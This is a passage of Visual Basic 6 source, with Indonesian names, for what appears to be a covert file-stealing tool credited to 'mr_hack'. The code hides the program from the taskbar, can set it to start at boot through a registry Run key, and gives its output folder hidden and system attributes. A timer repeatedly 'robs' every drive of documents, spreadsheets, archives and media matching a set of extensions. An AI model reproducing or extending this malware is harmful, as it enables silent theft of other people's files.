Call SimpanReg(Tempat, SubRun, "AutoFix", App.Path + "\" + App.EXEName + ".exe")
Else
Call SimpanReg(Tempat, SubTempat, "AutoStart", "False")
Call SimpanReg(Tempat, SubRun, "AutoFix", "")
End If
If chkHide.Value = 1 Then
Call SimpanReg(Tempat, SubTempat, "Hidden", "True")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
Else
Call SimpanReg(Tempat, SubTempat, "Hidden", "False")
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If optPil(0).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
filList.Pattern = txtField(2).Text
ElseIf optPil(1).Value = True Then
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
For i = 0 To 4
txtField(i).Locked = True
Next i
cmdSimpan.Enabled = False
cmdUbah.Enabled = True
End Sub
Private Sub cmdUbah_Click()
On Error Resume Next
For i = 0 To 4
txtField(i).Locked = False
Next i
cmdSimpan.Enabled = True
cmdUbah.Enabled = False
txtField(0).SetFocus
End Sub
Private Sub DirList_Change()
filList.Path = dirList.Path
End Sub
Private Sub DirList_LostFocus()
dirList.Path = dirList.List(dirList.ListIndex)
End Sub
Private Sub Form_Load()
On Error Resume Next
UpdateIcon Me.Icon
App.TaskVisible = False
Call BacaReg(Tempat, SubTempat, "Password", Password)
Call BacaReg(Tempat, SubTempat, "Direktori", Direktori)
Call BacaReg(Tempat, SubTempat, "Folder", Folder)
Call BacaReg(Tempat, SubTempat, "Ekstensi", Ekstensi)
Call BacaReg(Tempat, SubTempat, "UserName", UserName)
Call BacaReg(Tempat, SubTempat, "AutoStart", AutoStart)
Call BacaReg(Tempat, SubTempat, "Hidden", Hidden)
Call BacaReg(Tempat, SubTempat, "RampokSemua", RampokSemua)
For i = 0 To 4
txtField(i).Locked = True
Next i
If Direktori = "" Then
txtField(0).Text = App.Path + "\"
Else
txtField(0).Text = Direktori
End If
If Folder = "" Then
txtField(1).Text = "Hasil Merampok"
Else
txtField(1).Text = Folder
End If
If Ekstensi = "" Then
txtField(2).Text = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
filList.Pattern = "*.doc;*.xls;*.ppt;*.mdb;*.avi;*.zip;*.rar;*.3gp;*.rm"
Else
txtField(2).Text = Ekstensi
filList.Pattern = Ekstensi
End If
If UserName = "" Then
txtField(3).Text = "mr_hack"
Else
txtField(3).Text = UserName
End If
If AutoStart = "" Then
chkStart.Value = 0
ElseIf AutoStart = "True" Then
chkStart.Value = 1
ElseIf AutoStart = "False" Then
chkStart.Value = 0
End If
If Hidden = "" Then
chkHide.Value = 0
ElseIf Hidden = "True" Then
chkHide.Value = 1
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_HIDDEN Or FILE_ATTRIBUTE_SYSTEM
ElseIf Hidden = "False" Then
chkHide.Value = 0
SetFileAttributes txtField(0).Text + txtField(1).Text, FILE_ATTRIBUTE_NORMAL
End If
If RampokSemua = "" Then
optPil(0).Value = False
optPil(1).Value = True
ElseIf RampokSemua = "ON" Then
optPil(0).Value = True
optPil(1).Value = False
Timer1.Enabled = True
ElseIf RampokSemua = "OFF" Then
optPil(0).Value = False
optPil(1).Value = True
Timer1.Enabled = False
End If
DataString = Password
Translate
Password = Temp$
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
Me.WindowState = 1
txtField(4).Text = Password
End If
End Sub
Private Sub Form_Resize()
If Me.WindowState = vbMinimized Then
Me.Hide
End If
End Sub
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
Dim Hasil As Long
Dim HorX As Long
If Me.ScaleMode = vbPixels Then
HorX = X
Else
HorX = X / Screen.TwipsPerPixelX
End If
Select Case HorX
Case WM_LBUTTONDBLCLK 'Restore saat klik kiri beruntun.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
Case WM_RBUTTONUP 'Tampilkan menu Popup saat klik kanan.
Hasil = SetForegroundWindow(Me.hwnd)
Me.PopupMenu Me.mPopupSys
Me.Show
End Select
End Sub
Private Sub Form_Unload(Cancel As Integer)
Shell_NotifyIcon NIM_DELETE, nID
End
End Sub
Private Sub mMinimize_Click()
Me.WindowState = 1
End Sub
Private Sub mnExit_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
End
Else
frmPassword.Show
End If
End Sub
Private Sub mPembuat_Click()
MsgBox "Dibuat oleh mr_hack" + Chr(13) + _
"E-mail : mr_hack77@yahoo.com" + Chr(13) + _
"E-mail : hack.chin@gmail.com" + Chr(13) + _
"thank to:" + Chr(13) + _
"Semua teman-teman yogyafree.net" + Chr(13) + _
"Semua teman-teman vb-bego.com" + Chr(13) + _
"All friend", vbOKOnly + vbInformation, "Sing Gawe"
End Sub
Private Sub mRestore_Click()
Call BacaReg(Tempat, SubTempat, "Password", Password)
If Password = "" Then
MsgBox "Maaf! User Name and Password belum dimasukkan!", vbOKOnly + vbCritical, "Kosong"
Me.WindowState = 0
txtField(4).Text = "rahasia"
Else
frmPassword.Show
End If
End Sub
Private Sub optPil_Click(Index As Integer)
If optPil(0).Value = True Then
Timer1.Enabled = True
filList.Pattern = txtField(2).Text
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "ON")
Else
Timer1.Enabled = False
Call SimpanReg(Tempat, SubTempat, "RampokSemua", "OFF")
End If
End Sub
Private Sub Timer1_Timer()
For i = 1 To Len(CariDrive) Step 3
Rampok Mid$(CariDrive, i, 2)
Next i
End Sub
